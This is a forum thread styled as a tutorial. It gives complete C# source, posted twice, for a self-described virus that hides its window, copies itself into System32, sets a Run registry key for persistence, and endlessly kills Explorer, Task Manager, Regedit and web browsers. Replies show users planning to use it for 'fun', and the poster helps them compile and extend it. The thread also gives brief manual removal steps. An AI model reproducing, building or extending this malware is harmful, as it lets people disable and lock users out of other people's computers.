[Tutorial] Programming your own FSEK Virus

Posts 1–15 of 20 · Page 1 of 2

Well since l0ngcat showed everyone a tutorial on how to make a trainer i thought i would show you how to make a virus. It took me 30 minutes and is programmed in C# (Newer and easier version of C++).
A basic explanation of what it does is that it copies itself to the system32 folder and creates a registry key so it runs on startup but the main function is to close explorer, internet explorer, firefox, task manager and the registry editor processes. It is not distructive in any way (it doesnt delete explorer or anything, it only closes the process).
How to compile? Simply download C# (express edition is free) and insert this code into the main form load function and compile (Not Run!!).
Feel free to change it but keep the name.

Code:

//Fluffy Simple Explorer Killer Virus - Version 1.0.0
private void Form1_Load(object sender, EventArgs e)
{
	this.Visible = false; //Make the window invisible
	this.ShowInTaskbar = false;
	if (Application.StartupPath != Environment.GetFolderPath(Environment.SpecialFolder.System)) //If this file isnt in the system32 directory....
	{
		try
		{
			FileInfo me = new FileInfo(Application.ExecutablePath); //This file
			me.MoveTo(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\fsekv.exe"); //...then move this file to C:\Windows\System32\fsekv.exe (Default path)
			RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //Registry info
			key.SetValue("fsekv", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\fsekv.exe\""); //Create the registry key making the virus run on startup
		}
		catch { }
	}
	while (true)
	{
		try
		{
			Process[] pros = Process.GetProcesses(); //Get info of all processes
			foreach (Process pro in pros)
			{
				if (pro.ProcessName == "explorer" || pro.ProcessName == "regedit" || pro.ProcessName == "iexplore" || pro.ProcessName == "firefox" || pro.ProcessName == "taskmgr") //If the inspected process has one of these names...
				{
					pro.Kill(); //...then kill it
				}
			}
			Thread.Sleep(10);
		}
		catch { }
	}
}

How to remove? Start windows in safe mode (F8 on while booting) and simply delete fsekv.exe from C:\Windows\System32 and delete the key from the registry (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run).

Thanks so much i will have good fun with this lol will this make it into an exe or will it self install?

I dont quite get what you mean with self install..... an installing virus? The complied outcome is just a single .exe file and if you open it your pc is instantly pwned.

Thanks. Ill explain, With most virus you get they are put in your comp without you knowing so installs its self without you clicking on it. Understand?

Those are not viruses, that are backdoors, and no thats not with most viruses its only with onces lauched auto by diskette or CD or a script from internet which might download a virus which is rather uncommon, the most common type of virus is a trojan horse (usually a virus binded with another program but you would still be clicking on it though you wouldnt realize that it is a virus).

OH sorry

. Still ill have good fun i can edit this and add more process to kill cant I? I think i'm the only one who is impressed lol.

Yes, its no problem just insert another || pro.ProcessName == "XXXXXXX" and the name you want (without extension) and i didnt intend this to be special, it just a tutorial to get people started.

Sweet I Know but you can use this for a lot more and I also thought it would be nice to Give you a Thanks.

Good Job

Condor01

Ive got a problem. Where is Load and Compile? I cant seem to find it.

Double click anywhere on the form and you get sent to the code area and there is a load function, now just replace it with my code. And compile is in the menu -> Build. And the .exe file is located in your documents -> Visual Studio -> Projects.

i get 2 errors:

1.Invalid token '{' in class, struct, or interface member declaration
2.Type or namespace definition, or end of file expected

help

You have one '{' too much, just replace the form_load function with mine (dont paste it inside it, replace it).

I dont understand it just cant find where to put it in HELP.

Its not that hard..... just double click anywhere on the form and delete everything in the namespace (where you get sent to after double clicking) and put this instead.
And be sure to start a windows application not a console application.

Code:

public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        //Fluffy Simple Explorer Killer Virus - Version 1.0.0
        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false; //Make the window invisible
            this.ShowInTaskbar = false;
            if (Application.StartupPath != Environment.GetFolderPath(Environment.SpecialFolder.System)) //If this file isnt in the system32 directory....
            {
                try
                {
                    FileInfo me = new FileInfo(Application.ExecutablePath); //This file
                    me.MoveTo(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\fsekv.exe"); //...then move this file to C:\Windows\System32\fsekv.exe (Default path)
                    RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //Registry info
                    key.SetValue("fsekv", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\fsekv.exe\""); //Create the registry key making the virus run on startup
                }
                catch { }
            }
            while (true)
            {
                try
                {
                    Process[] pros = Process.GetProcesses(); //Get info of all processes
                    foreach (Process pro in pros)
                    {
                        if (pro.ProcessName == "explorer" || pro.ProcessName == "regedit" || pro.ProcessName == "iexplore" || pro.ProcessName == "firefox" || pro.ProcessName == "taskmgr") //If the inspected process has one of these names...
                        {
                            pro.Kill(); //...then kill it
                        }
                    }
                    Thread.Sleep(10);
                }
                catch { }
            }
        }
    }